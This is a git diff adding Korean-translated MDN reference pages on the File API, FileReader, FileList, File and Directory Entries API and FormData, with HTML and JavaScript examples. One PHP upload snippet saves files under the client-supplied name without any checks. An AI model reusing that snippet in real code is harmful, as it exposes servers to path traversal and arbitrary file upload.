+
+ +

Line 2 fetches a {{DOMxRef("NodeList")}}, called imgs, of all the elements in the document with the CSS class obj. In our case, these will be all of the image thumbnails. Once we have that list, it's trivial to go through it and create a new FileUpload instance for each. Each of these handles uploading the corresponding file.

+ +

Handling the upload process for a file

+ +

The FileUpload function accepts two inputs: an image element and a file from which to read the image data.

+ +
function FileUpload(img, file) {
+  const reader = new FileReader();
+  this.ctrl = createThrobber(img);
+  const xhr = new XMLHttpRequest();
+  this.xhr = xhr;
+
+  const self = this;
+  this.xhr.upload.addEventListener("progress", function(e) {
+        if (e.lengthComputable) {
+          const percentage = Math.round((e.loaded * 100) / e.total);
+          self.ctrl.update(percentage);
+        }
+      }, false);
+
+  xhr.upload.addEventListener("load", function(e){
+          self.ctrl.update(100);
+          const canvas = self.ctrl.ctx.canvas;
+          canvas.parentNode.removeChild(canvas);
+      }, false);
+  xhr.open("POST", "http://demos.hacks.mozilla.org/paul/demos/resources/webservices/devnull.php");
+  xhr.overrideMimeType('text/plain; charset=x-user-defined-binary');
+  reader.onload = function(evt) {
+    xhr.send(evt.target.result);
+  };
+  reader.readAsBinaryString(file);
+}
+
+ +

The FileUpload() function shown above creates a throbber, which is used to display progress information, and then creates an {{DOMxRef("XMLHttpRequest")}} to handle uploading the data.

+ +

Before actually transferring the data, several preparatory steps are taken:

+ +
    +
  1. The XMLHttpRequest's upload progress listener is set to update the throbber with new percentage information so that as the upload progresses the throbber will be updated based on the latest information.
  2. +
  3. The XMLHttpRequest's upload load event handler is set to update the throbber progress information to 100% to ensure the progress indicator actually reaches 100% (in case of granularity quirks during the process). It then removes the throbber since it's no longer needed. This causes the throbber to disappear once the upload is complete.
  4. +
  5. The request to upload the image file is opened by calling XMLHttpRequest's open() method to start generating a POST request.
  6. +
  7. The MIME type for the upload is set by calling the XMLHttpRequest function overrideMimeType(). In this case, we're using a generic MIME type; you may or may not need to set the MIME type at all depending on your use case.
  8. +
  9. The FileReader object is used to convert the file to a binary string.
  10. +
  11. Finally, when the content is loaded the XMLHttpRequest function send() is called to upload the file's content.
  12. +
+ +
Note: The non-standard sendAsBinary method which was previously used in the example above is considered deprecated as of Gecko 31 {{geckoRelease(31)}}; use the standard send(Blob data) method instead.
+ +

Asynchronously handling the file upload process

+ +

This example, which uses PHP on the server side and JavaScript on the client side, demonstrates asynchronous uploading of a file.

+ +
<?php
+if (isset($_FILES['myFile'])) {
+    // Example:
+    move_uploaded_file($_FILES['myFile']['tmp_name'], "uploads/" . $_FILES['myFile']['name']);
+    exit;
+}
+?><!DOCTYPE html>
+<html>
+<head>
+    <title>dnd binary upload</title>
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
+    <script type="application/javascript">
+        function sendFile(file) {
+            const uri = "/index.php";
+            const xhr = new XMLHttpRequest();
+            const fd = new FormData();
+
+            xhr.open("POST", uri, true);
+            xhr.onreadystatechange = function() {
+                if (xhr.readyState == 4 && xhr.status == 200) {
+                    alert(xhr.responseText); // handle response.
+                }
+            };
+            fd.append('myFile', file);
+            // Initiate a multipart/form-data upload
+            xhr.send(fd);
+        }
+
+        window.onload = function() {
+            const dropzone = document.getElementById("dropzone");
+            dropzone.ondragover = dropzone.ondragenter = function(event) {
+                event.stopPropagation();
+                event.preventDefault();
+            }
+
+            dropzone.ondrop = function(event) {
+                event.stopPropagation();
+                event.preventDefault();
+
+                const filesArray = event.dataTransfer.files;
+                for (let i=0; i<filesArray.length; i++) {
+                    sendFile(filesArray[i]);
+                }
+            }
+        }
+    </script>
+</head>
+<body>
+    <div>
+        <div id="dropzone" style="margin:30px; width:500px; height:300px; border:1px dotted grey;">Drag & drop your file here...</div>
+    </div>
+</body>
+</html>
+
+ +

Example: Using object URLs to display PDF

+ +

Object URLs can be used for other things than just images! They can be used to display embedded PDF files or any other resources that can be displayed by the browser.

+ +

In Firefox, to have the PDF appear embedded in the iframe (rather than proposed as a downloaded file), the preference pdfjs.disabled must be set to false {{non-standard_inline()}}.

+ +
<iframe id="viewer">
+
+ +

And here is the change of the src attribute:

+ +
const obj_url = window.URL.createObjectURL(blob);
+const iframe = document.getElementById('viewer');
+iframe.setAttribute('src', obj_url);
+window.URL.revokeObjectURL(obj_url);
+ +

Example: Using object URLs with other file types

+ +

You can manipulate files of other formats the same way. Here is how to preview uploaded video:

+ +
const video = document.getElementById('video');
+const obj_url = window.URL.createObjectURL(blob);
+video.src = obj_url;
+video.play()
+window.URL.revokeObjectURL(obj_url);
+ +

Specifications

+ + + +

See also

+ + diff --git a/files/ko/web/api/file_and_directory_entries_api/index.html b/files/ko/web/api/file_and_directory_entries_api/index.html new file mode 100644 index 0000000000..d4a93a15e9 --- /dev/null +++ b/files/ko/web/api/file_and_directory_entries_api/index.html @@ -0,0 +1,131 @@ +--- +title: File and Directory Entries API +slug: Web/API/File_and_Directory_Entries_API +translation_of: Web/API/File_and_Directory_Entries_API +--- +

{{DefaultAPISidebar("File System API")}}{{Non-standard_header}}

+ +

The File and Directory Entries API는 탐색 및 파일 접근이 가능한 로컬 파일 시스템을 웹상에 시뮬레이션합니다. 이 API를 통해 당신은 읽고, 쓰고, 파일과 디렉토리를 생성할 수 있는 가상의 파일 시스템을 가진 앱을 개발할 수 있을 것입니다.

+ +
+

이 API는 아직 표준이 아니기 때문에, 모든 브라우저가 이를 지원하지 않는 다는 점을 유념하십시오. 지원하더라도 일부 기능만을 지원할 수도 있습니다. 자세한 내용은 브라우저 호환성({{anch("Browser compatibility")}}) 항목을 참조하십시오.

+
+ +

동기적 혹은 비동기적인 동작 중 어느 쪽을 필요로 하냐에 따라 만들어진 매우 유사한 두 개의 API가 있습니다. 동기식 API는 {{domxref("Worker")}} 내에서 사용될 수 있도록 확장되어 왔으며 당신이 원하는 값을 반환합니다. 비동기식 API는 브라우저의 동작을 방해하지 않지만 함수와 API가 값을 반환하지 않습니다; 그 대신, 당신은 콜백 함수를 이용해 언제든 응답을 처리할 수 있습니다.

+ +
+

Firefox에 내장된 File and Directory Entries API는 매우 제한적입니다; 해당 환경에서는 파일 생성을 사용할 수 없습니다. {{HTMLElement("input")}}이나 ({{domxref("HTMLInputElement")}} 도 확인하십시오) 앱이나 웹사이트에서 드래그 앤 드롭(drag and drop)을 통해 유저가 직접 선택한 파일에만 액세스 가능합니다. 또한 Firefox는 동기식 API 역시 지원하지 않습니다. API의 어떤 부분을 사용하려고 하든 반드시 브라우저 호환성을 확인하시고, Firefox에 대한 이 API의 호환성(File and Directory Entries API support in Firefox)을 통해 더 자세하게 알아보도록 하십시오.

+
+ +

파일 시스템에 접근하기

+ +

현재로서 정의된 파일 시스템에 대한 접근 방법은 두 가지입니다:

+ + + +

비동기식 API

+ +

파일 시스템 액세스가 메인 스레드에서 사용될 경우 전체 브라우저를 차단하지 않도록 대부분의 작업은 비동기 API를 이용하여야 합니다. 다음과 같은 인터페이스를 포함하고 있습니다:

+ +
+
{{domxref("FileSystem")}}
+
파일 시스템을 나타냅니다.
+
{{domxref("FileSystemEntry")}}
+
파일 시스템의 단일 엔트리를 의미하는 기본적인 인터페이스입니다. 이것은 파일이나 디렉토리 등을 나타내는 다른 인터페이스들에 의해 구현됩니다.
+
{{domxref("FileSystemFileEntry")}}
+
파일 시스템 내의 단일 파일을 나타냅니다.
+
{{domxref("FileSystemDirectoryEntry")}}
+
파일 시스템 내의 단일 디렉토리를 나타냅니다.
+
{{domxref("FileSystemDirectoryReader")}}
+
{{domxref("FileSystemDirectoryEntry.createReader()")}}를 호출함으로써 만들어지는 인터페이스이며, 디렉토리의 내용물을 읽을 수 있는 기능을 제공합니다.
+
{{domxref("FileSystemFlags")}}
+
File and Directory Entries API에서 특정 메소드를 호출할 때 옵션 플래그로 사용되는 값들의 집합을 정의합니다.
+
{{DOMxRef("FileError")}} {{Obsolete_Inline}}
+
비동기 파일 시스템 호출에 의해 발생한 에러를 나타냅니다.
+
+ +

또한 두 개의 전역 함수가 있습니다(현재로선 명세화되지 않아 Google Chrome에만 내장되어 있습니다). {{domxref("Window")}} 객체 위에서 사용 가능하며 {{domxref("LocalFileSystem")}}에 구현되어 있습니다: 각각 requestFileSystem() 과 resolveLocalFileSystemURL().

+ +

동기식 API

+ +

동기식 API는 반드시 {{domxref("Worker")}}s 안에서만 사용되어야 합니다; 이 호출들은 그들이 실행이 완료될 때 까지 브라우저의 동작을 멈추며, 콜백을 보내는 대신 단순히 결과값을 반환합니다. 이 함수들을 메인 스레드에서 사용하는 것은 브라우저의 동작을 멈출 것이며, 그것은 너무 난잡한 방식입니다. 아래의 인터페이스들은 비동기식 API와 기능적으로 거의 유사합니다.

+ +
+
{{domxref("FileSystemSync")}}
+
파일 시스템을 나타냅니다.
+
{{domxref("FileSystemEntrySync")}}
+
파일 시스템의 단일 엔트리를 의미하는 기본적인 인터페이스입니다. 이것은 파일이나 디렉토리 등을 나타내는 다른 인터페이스들에 의해 구현됩니다.
+
{{domxref("FileSystemFileEntrySync")}}
+
파일 시스템 내의 단일 파일을 나타냅니다.
+
{{domxref("FileSystemDirectoryEntrySync")}}
+
파일 시스템 내의 단일 디렉토리를 나타냅니다.
+
{{domxref("FileSystemDirectoryReaderSync")}}
+
{{domxref("FileSystemDirectoryEntrySync.createReader()")}}를 호출함으로써 만들어지는 인터페이스이며, 디렉토리의 내용물을 읽을 수 있는 기능을 제공합니다.
+
{{DOMxRef("FileException")}} {{Obsolete_Inline}}
+
동기 파일 시스템 호출에 의해 발생한 에러를 나타냅니다.
+
+ +

또한 두 개의 전역 함수가 있습니다(현재로선 명세화되지 않아 Google Chrome에만 내장되어 있습니다). {{domxref("Worker")}} 객체 위에서 사용 가능하며 {{domxref("LocalFileSystemSync")}}에 구현되어 있습니다: 각각 requestFileSystemSync() 과 resolveLocalFileSystemSyncURL().

+ +

기타 인터페이스

+ +
+
{{domxref("LocalFileSystem")}}
+
샌드박스 파일 시스템에 접근할 수 있습니다.
+
{{domxref("LocalFileSystemSync")}}
+
+
{{domxref("LockedFile")}}
+
필요한 모든 잠금을 사용하여 주어진 파일을 처리할 수 있는 도구를 제공합니다.
+
{{domxref("Metadata")}}{{experimental_inline}}
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File System API')}}{{Spec2('File System API')}}API 초안
+ +

이 API는 공식 W3C나 WHATWG명세를 가지고 있지 않습니다.

+ +

브라우저 호환성

+ +
+

FileSystem

+ +
+ + +

{{Compat("api.FileSystem", 0)}}

+ +

FileSystemSync 속성

+ +
+ + +

{{Compat("api.FileSystemSync", 0)}}

+
+
+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/filelist/index.html b/files/ko/web/api/filelist/index.html new file mode 100644 index 0000000000..8176496fe2 --- /dev/null +++ b/files/ko/web/api/filelist/index.html @@ -0,0 +1,155 @@ +--- +title: FileList +slug: Web/API/FileList +translation_of: Web/API/FileList +--- +
{{APIRef("File API")}}{{gecko_minversion_header("1.9")}}
+ +

이 타입의 객체는 HTML {{HTMLElement("input")}} 엘리먼트의 files 속성으로부터 반환됩니다; 이는 <input type="file"> 엘리먼트로 선택된 파일의 리스트에 접근하도록 합니다. 또한 드래그 앤 드랍 API를 사용할 때 웹 컨텐트에 드랍된 파일의 리스트에도 사용됩니다; 이 사용에 대한 자세한 내용은 DataTransfer 객체를 보십시오.

+ +
+

Note: {{Gecko("1.9.2")}} 이전에는, input 엘리먼트는 한번에 하나의 선택된 파일만 지원되었습니다, 이는 FileList가 하나의 파일만을 포함했음을 의미합니다. {{Gecko("1.9.2")}}를 시작으로, input 엘리먼트의 multiple 속성이 true이면, FileList는 복수의 파일을 포함할 수 있습니다.

+
+ +

파일 리스트 사용

+ +

모든 <input> 엘리먼트 노드는 이 리스트의 항목에 접근하도록 허용하는 files 배열을 가지고 있습니다. 예를 들어, HTML이 다음의 파일 입력을 포함한다면:

+ +
<input id="fileItem" type="file">
+
+ +

 

+ +

다음 코드 행은 노드의 파일 목록에있는 첫 번째 파일을 File 객체로 가져옵니다.

+ +
var file = document.getElementById('fileItem').files[0];
+
+ +

Method overview

+ + + + + + + +
File item(index);
+ +

Properties

+ + + + + + + + + + + + + + +
AttributeTypeDescription
lengthinteger목록에있는 파일의 수를 나타내는 읽기 전용 값.
+ +

Methods

+ +

item()

+ +

 

+ +
파일리스트의 지정된 인덱스에있는 파일을 나타내는 File 객체를 리턴합니다.
+ +

 

+ +
 File item(
+   index
+ );
+
+ +
Parameters
+ +
+
index
+
리스트로부터 받은 파일의 인덱스로, 0부터 시작합니다.
+
+ +
Return value
+ +

요청된 파일을 나타내는 File 입니다.

+ +

예시

+ +

이 예시는 input 엘리먼트를 사용하여 사용자에 의해 선택된 모든 파일을 순회합니다:

+ +
// fileInput is an HTML input element: <input type="file" id="myfileinput" multiple>
+var fileInput = document.getElementById("myfileinput");
+
+// files is a FileList object (similar to NodeList)
+var files = fileInput.files;
+var file;
+
+// loop through files
+for (var i = 0; i < files.length; i++) {
+
+    // get item
+    file = files.item(i);
+    //or
+    file = files[i];
+
+    alert(file.name);
+}
+
+ +

완전한 코드는 다음과 같습니다.

+ +
<!DOCTYPE HTML>
+<html>
+<head>
+</head>
+<body>
+<!--multiple is set to allow multiple files to be selected-->
+
+<input id="myfiles" multiple type="file">
+
+</body>
+
+<script>
+
+var pullfiles=function(){
+    // love the query selector
+    var fileInput = document.querySelector("#myfiles");
+    var files = fileInput.files;
+    // cache files.length
+    var fl = files.length;
+    var i = 0;
+
+    while ( i < fl) {
+        // localize file var in the loop
+        var file = files[i];
+        alert(file.name);
+        i++;
+    }
+}
+
+// set the input element onchange to call pullfiles
+document.querySelector("#myfiles").onchange=pullfiles;
+
+//a.t
+</script>
+
+</html>
+ +

명세

+ + + +

See also

+ + diff --git a/files/ko/web/api/filereader/index.html b/files/ko/web/api/filereader/index.html new file mode 100644 index 0000000000..f444a189fa --- /dev/null +++ b/files/ko/web/api/filereader/index.html @@ -0,0 +1,111 @@ +--- +title: FileReader +slug: Web/API/FileReader +tags: + - API + - File API + - Files + - Interface + - Reference +translation_of: Web/API/FileReader +--- +
{{APIRef("File API")}}
+ +

FileReader 객체는 웹 애플리케이션이 비동기적으로 데이터를 읽기 위하여 읽을 파일을 가리키는{{ domxref("File") }} 혹은 {{ domxref("Blob") }} 객체를 이용해 파일의 내용을(혹은 raw data버퍼로) 읽고 사용자의 컴퓨터에 저장하는 것을 가능하게 해줍니다.

+ +

File 객체는 {{ HTMLElement("input") }} 태그를 이용하여 유저가 선택한 파일들의 결과로 반환된 {{ domxref("FileList") }} 객체, 드래그 앤 드랍으로 반환된 DataTransfer 객체 혹은 {{ domxref("HTMLCanvasElement") }}의 mozGetAsFile() API로 부터 얻습니다.

+ +

생성자

+ +
+
{{domxref("FileReader.FileReader", "FileReader()")}}
+
Returns a newly constructed FileReader.
+
+ +

See Using files from web applications for details and examples.

+ +

속성

+ +
+
{{domxref("FileReader.error")}} {{readonlyinline}}
+
{{domxref("DOMError")}} 파일을 읽는 도중에 발생한 에러를 나타냅니다.
+
{{domxref("FileReader.readyState")}} {{readonlyinline}}
+
FileReader의 상태를 나타내는 숫자입니다.
+
+

상태 값들

+ EMPTY : 0 : 아직 데이터가 로드 되지 않았음.
+
LOADING : 1 : 데이터가 로딩 중.
+
DONE : 2 : 모든 읽기 요청이 완료됨.
+
 
+
{{domxref("FileReader.result")}} {{readonlyinline}}
+
파일의 컨텐츠입니다. 이 속성은 읽기 작업이 완료되고 읽기 작업의 초기화에 사용한 방식으로 결정된 데이터의 포맷이 정해진 후에 유효합니다.
+
+ +

이벤트 핸들러

+ +
+
{{domxref("FileReader.onabort")}}
+
{{event("abort")}} 이벤트의 핸들러. 이 이벤트는 읽기 동작이 중단 될 때마다 발생합니다.
+
{{domxref("FileReader.onerror")}}
+
{{event("error")}} 이벤트의 핸들러. 이 이벤트는 읽기 동작에 에러가 생길 때마다 발생합니다.
+
{{domxref("FileReader.onload")}}
+
{{event("load")}} 이벤트의 핸들러. 이 이벤트는 읽기 동작이 성공적으로 완료 되었을 때마다 발생합니다.
+
{{domxref("FileReader.onloadstart")}}
+
{{event("loadstart")}} 이벤트 핸들러. 이 이벤트는 읽기 동작이 실행 될 때마다 발생합니다.
+
{{domxref("FileReader.onloadend")}}
+
{{event("loadend")}} 이벤트 핸들러. 이 이벤트는 읽기 동작이 끝났을 때마다 발생합니다. (읽기의 성공이나 실패 여부는 상관 않습니다.)
+
{{domxref("FileReader.onprogress")}}
+
{{event("progress")}} 이벤트 핸들러. 이 이벤트는 {{domxref("Blob")}} 컨텐트를 읽는 동안 호출됩니다.
+
+ +
+

참고: FileReader는 {{domxref("EventTarget")}} 으로 부터 상속 받았습니다, 언급된 모든 이벤트들은 {{domxref("EventTarget.addEventListener()","addEventListener")}} 메소드를 사용하여 listen 하게 할 수 있습니다.

+
+ + + +

메서드

+ +
+
{{domxref("FileReader.abort()")}}
+
읽기 요청을 중단시킵니다. 리턴이 되면 readyState 는 DONE이 됩니다.
+
{{domxref("FileReader.readAsArrayBuffer()")}} {{ gecko_minversion_inline("7.0") }}
+
Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the result attribute contains an {{domxref("ArrayBuffer")}} representing the file's data.
+
{{domxref("FileReader.readAsBinaryString()")}}
+
Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the result attribute contains the raw binary data from the file as a string.
+
{{domxref("FileReader.readAsDataURL()")}}
+
Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the result attribute contains a data: URL representing the file's data.
+
{{domxref("FileReader.readAsText()")}}
+
Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the result attribute contains the contents of the file as a text string.
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API','#FileReader-interface','FileReader')}}{{Spec2('File API')}}Initial definition.
+ +

브라우저 호환성

+ +

{{Compat("api.FileReader")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/filereader/loadend_event/index.html b/files/ko/web/api/filereader/loadend_event/index.html new file mode 100644 index 0000000000..c8e9f97664 --- /dev/null +++ b/files/ko/web/api/filereader/loadend_event/index.html @@ -0,0 +1,165 @@ +--- +title: 'FileReader: loadend event' +slug: Web/API/FileReader/loadend_event +translation_of: Web/API/FileReader/loadend_event +--- +
{{APIRef}}
+ +

loadend 이벤트는 성공여부와 관계없이 파일읽기가 끝나면 실행됩니다.

+ + + + + + + + + + + + + + + + + + + + +
버블링해당없음
이벤트 취소가능해당없음
인터페이스{{domxref("ProgressEvent")}}
이벤트 핸들러 프로퍼티{{domxref("FileReader.onloadend")}}
+ +

예제

+ +

Live example

+ +

HTML

+ +
<div class="example">
+
+    <div class="file-select">
+        <label for="avatar">Choose a profile picture:</label>
+        <input type="file"
+               id="avatar" name="avatar"
+               accept="image/png, image/jpeg">
+    </div>
+
+    <img src="" class="preview" height="200" alt="Image preview...">
+
+    <div class="event-log">
+        <label>Event log:</label>
+        <textarea readonly class="event-log-contents"></textarea>
+    </div>
+
+  </div>
+ + + +

JS

+ +
const fileInput = document.querySelector('input[type="file"]');
+const preview = document.querySelector('img.preview');
+const eventLog = document.querySelector('.event-log-contents');
+const reader = new FileReader();
+
+function handleEvent(event) {
+    eventLog.textContent = eventLog.textContent + `${event.type}: ${event.loaded} bytes transferred\n`;
+
+    if (event.type === "load") {
+        preview.src = reader.result;
+    }
+}
+
+function addListeners(reader) {
+    reader.addEventListener('loadstart', handleEvent);
+    reader.addEventListener('load', handleEvent);
+    reader.addEventListener('loadend', handleEvent);
+    reader.addEventListener('progress', handleEvent);
+    reader.addEventListener('error', handleEvent);
+    reader.addEventListener('abort', handleEvent);
+}
+
+function handleSelected(e) {
+    eventLog.textContent = '';
+    const selectedFile = fileInput.files[0];
+    if (selectedFile) {
+        addListeners(reader);
+        reader.readAsDataURL(selectedFile);
+    }
+}
+
+fileInput.addEventListener('change', handleSelected);
+
+ +

결과

+ +

{{ EmbedLiveSample('Live_example', '100%', '300px') }}

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('File API', '#dfn-loadend-event')}}{{Spec2('File API')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.FileReader.loadend_event")}}

+ +

See also

+ + diff --git a/files/ko/web/api/filereader/readasdataurl/index.html b/files/ko/web/api/filereader/readasdataurl/index.html new file mode 100644 index 0000000000..1533dc620d --- /dev/null +++ b/files/ko/web/api/filereader/readasdataurl/index.html @@ -0,0 +1,171 @@ +--- +title: FileReader.readAsDataURL() +slug: Web/API/FileReader/readAsDataURL +translation_of: Web/API/FileReader/readAsDataURL +--- +
{{APIRef("File API")}}
+ +

 

+ +

readAsDataURL 메서드는 컨텐츠를 특정 {{domxref("Blob")}} 이나 {{domxref("File")}}에서 읽어 오는 역할을 합니다. 읽어오는 read 행위가 종료되는 경우에, {{domxref("FileReader.readyState","readyState")}} 의 상태가 DONE이 되며,   {{event("loadend")}} 이벤트가 트리거 됩니다. 이와 함께,  base64 인코딩 된 스트링 데이터가 {{domxref("FileReader.result","result")}}  속성(attribute)에 담아지게 됩니다.

+ +

문법

+ +
instanceOfFileReader.readAsDataURL(blob);
+ +

파라미터

+ +
+
blob
+
읽고자 하는 {{domxref("Blob")}} 또는 {{domxref("File")}}.
+
+ +

예제

+ +

HTML

+ +
<input type="file" onchange="previewFile()"><br>
+<img src="" height="200" alt="이미지 미리보기...">
+ +

JavaScript

+ +
function previewFile() {
+  var preview = document.querySelector('img');
+  var file    = document.querySelector('input[type=file]').files[0];
+  var reader  = new FileReader();
+
+  reader.addEventListener("load", function () {
+    preview.src = reader.result;
+  }, false);
+
+  if (file) {
+    reader.readAsDataURL(file);
+  }
+}
+ +

실행 결과

+ +

{{EmbedLiveSample("Example", "100%", 240)}}

+ +

 

+ +

복수의 파일 읽기 예제

+ +

HTML

+ +
<input id="browse" type="file" onchange="previewFiles()" multiple>
+<div id="preview"></div>
+ +

JavaScript

+ +
function previewFiles() {
+
+  var preview = document.querySelector('#preview');
+  var files   = document.querySelector('input[type=file]').files;
+
+  function readAndPreview(file) {
+
+    // `file.name` 형태의 확장자 규칙에 주의하세요
+    if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) {
+      var reader = new FileReader();
+
+      reader.addEventListener("load", function () {
+        var image = new Image();
+        image.height = 100;
+        image.title = file.name;
+        image.src = this.result;
+        preview.appendChild( image );
+      }, false);
+
+      reader.readAsDataURL(file);
+    }
+
+  }
+
+  if (files) {
+    [].forEach.call(files, readAndPreview);
+  }
+
+}
+
+ +
주의: FileReader() 생성자는 Internet Explorer 10 이전 버전에서는 지원하지 않는 기능입니다. 정상적으로 지원하는 코드를 확인하기 위해서는 다음 링크를 참조하시기 바랍니다. crossbrowser possible solution for image preview. 또는 this more powerful example.
+ +

명세

+ + + + + + + + + + + + + + +
명세상태비고
{{SpecName("File API", "#FileReader-interface", "FileReader")}}{{Spec2("File API")}}Initial definition
+ +

브라우저 호환성

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop("1.9.2")}}[1]710[2]12.02[3]6.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support3231011.56.0
+
+ +

[1] Prior to Gecko 2.0 beta 7 (Firefox 4.0 beta 7), all {{domxref("Blob")}} parameters below were {{domxref("File")}} parameters; this has since been updated to match the specification correctly. Prior to Gecko 13.0 {{geckoRelease("13.0")}} the FileReader.error property returned a {{domxref("FileError")}} object. This interface has been removed and FileReader.error is now returning the {{domxref("DOMError")}} object as defined in the latest FileAPI draft.

+ +

[2] IE9 has a File API Lab.

+ +

[3] Opera has partial support in 11.1.

+ +

바깥 고리

+ + diff --git a/files/ko/web/api/filereader/readastext/index.html b/files/ko/web/api/filereader/readastext/index.html new file mode 100644 index 0000000000..d0f5c80ddf --- /dev/null +++ b/files/ko/web/api/filereader/readastext/index.html @@ -0,0 +1,60 @@ +--- +title: FileReader.readAsText() +slug: Web/API/FileReader/readAsText +tags: + - 파일 + - 파일 API +translation_of: Web/API/FileReader/readAsText +--- +
{{APIRef("File API")}}
+ +

readAsText() 메서드는 지정된 {{domxref("Blob")}} 이나 {{domxref("File")}} 의 컨텐츠를 읽기 위해 사용합니다. 읽기  연산이 끝나면, {{domxref("FileReader.readyState","readyState")}} 가 DONE으로 바뀌고, {{event("loadend")}} 이벤트가 트리거 되고, {{domxref("FileReader.result","result")}} 프로퍼티는 파일의 내용을 텍스트 문자열로 가집니다.

+ +
+

새로운 API 사용가능
+ {{domxref("Blob.text()")}} 메서드는 파일을 텍스트로 읽는 프로미스 기반의 새 API 입니다.

+
+ +

문법

+ +
instanceOfFileReader.readAsText(blob[, encoding]);
+ +

매개변수

+ +
+
blob
+
읽어 들일 {{domxref("Blob")}} 이나 {{domxref("File")}}
+
encoding {{optional_inline}}
+
반환 데이터에 사용될 문자열 인코딩을 지정. 매개변수가 지정되지 않으면 기본적으로 UTF-8이라고 가정합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("File API", "#readAsDataText", "readAsText()")}}{{Spec2("File API")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.FileReader.readAsText")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/filereader/result/index.html b/files/ko/web/api/filereader/result/index.html new file mode 100644 index 0000000000..feb9b02405 --- /dev/null +++ b/files/ko/web/api/filereader/result/index.html @@ -0,0 +1,33 @@ +--- +title: FileReader.result +slug: Web/API/FileReader/result +translation_of: Web/API/FileReader/result +--- +

{{APIRef("File API")}}

+ +

Summary

+ +

파일의 내용을 반환한다. 이 속성은 읽기가 완료 된 후에만 사용 가능 하며 데이터의 형식은 읽기 작업에 어떤 함수가 사용되었는가에 의해 정해진다.

+ +

Syntax

+ +
var file = instanceOfFileReader.result
+
+ +

Value

+ +

읽기 작업에 사용된 함수에 의해 string 또는 {{domxref("ArrayBuffer")}} 가 된다.

+ +

Specifications

+ +

{{page("/en-US/docs/Web/API/FileReader","Specifications")}}

+ +

Browser compatibility

+ +

{{page("/en-US/docs/Web/API/FileReader","Browser compatibility")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/append/index.html b/files/ko/web/api/formdata/append/index.html new file mode 100644 index 0000000000..0f6ec0d5c8 --- /dev/null +++ b/files/ko/web/api/formdata/append/index.html @@ -0,0 +1,90 @@ +--- +title: FormData.append() +slug: Web/API/FormData/append +translation_of: Web/API/FormData/append +--- +

{{APIRef("XMLHttpRequest")}}

+ +

{{domxref("FormData")}} 인터페이스의 append() 메서드는 FormData 객체의 기존 키에 새 값을 추가하거나, 키가 없는 경우 키를 추가합니다.

+ +

{{domxref("FormData.set")}} 과 append() 의 차이점은 지정된 키가 이미 있으면, {{domxref("FormData.set")}} 은 모든 기존 값을 새 값으로 덮어쓰기를 합니다. 반면 append() 는 기존 값 집합의 끝에 새로운 값을 추가합니다.

+ +
+

메모: 이 메서드는 웹워커(Web Workers)에서도 사용할 수 있습니다.

+
+ +

Syntax

+ +

이 메서드에는 두 가지 버전이 있습니다: 매개변수가 두 개인 버전과 세 개인 버전입니다:

+ +
formData.append(name, value);
+formData.append(name, value, filename);
+ +

Parameters

+ +
+
name
+
value 에 포함되는 데이터 필드의 이름입니다.
+
value
+
필드의 값입니다. {{domxref("USVString")}} 또는 {{domxref("Blob")}} ({{domxref("File")}}과 같은 sublcass를 포함하여) 일 수 있습니다.
+
filename {{optional_inline}}
+
{{domxref("Blob")}} 또는 {{domxref("File")}} 이 두 번째 매개 변수로 전달될 때, 서버에 리포트하는 파일 이름(a {{domxref("USVString")}})입니다. {{domxref("Blob")}} 객체의 기본 파일 이름은 "blob" 입니다. {{domxref("File")}} 객체의 기본 파일 이름은 파일의 이름이 됩니다.
+
+ +
+

메모: {{domxref("Blob")}} 을 FormData 객체에 추가 할 데이터로 지정하면, "Content-Disposition" 헤더에서 서버에 리포트하는 파일 이름이 브라우저마다 다를 수 있습니다.

+
+ +

Returns

+ +

Void.

+ +

Example

+ +

다음 코드를 따라 빈 FormData 객체를 만듭니다:

+ +
var formData = new FormData(); // Currently empty
+ +

{{domxref("FormData.append")}}를 사용하여 key/value 쌍을 추가할 수 있습니다:

+ +
formData.append('username', 'Chris');
+formData.append('userpic', myFileInput.files[0], 'chris.jpg');
+ +

일반 form 데이터와 마찬가지로 동일한 이름의 여러 값을 추가할 수 있습니다. 예를들면 (그리고 이름에 []를 추가하여 PHP의 명명 규칙과 호환이 가능합니다):

+ +
formData.append('userpic[]', myFileInput.files[0], 'chris1.jpg');
+formData.append('userpic[]', myFileInput.files[1], 'chris2.jpg');
+ +

이 기술을 사용하면 서버에 올라간 결과 데이터가 루프를 도는데 도움이 되는 구조이기 때문에, 이 기술을 사용하면 다중 -파일 업로드를 보다 쉽게 처리할 수 있습니다.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest','#dom-formdata-append','append()')}}{{Spec2('XMLHttpRequest')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.FormData.append")}}

+ +

See also

+ + diff --git a/files/ko/web/api/formdata/delete/index.html b/files/ko/web/api/formdata/delete/index.html new file mode 100644 index 0000000000..c5f20c8d02 --- /dev/null +++ b/files/ko/web/api/formdata/delete/index.html @@ -0,0 +1,70 @@ +--- +title: FormData.delete() +slug: Web/API/FormData/delete +translation_of: Web/API/FormData/delete +--- +

{{APIRef("XMLHttpRequest")}}

+ +

{{domxref("FormData")}} 인터페이스의 delete() 메서드는 FormData 객체에서 key와 그 값에 해당하는 것을 지웁니다.

+ +
+

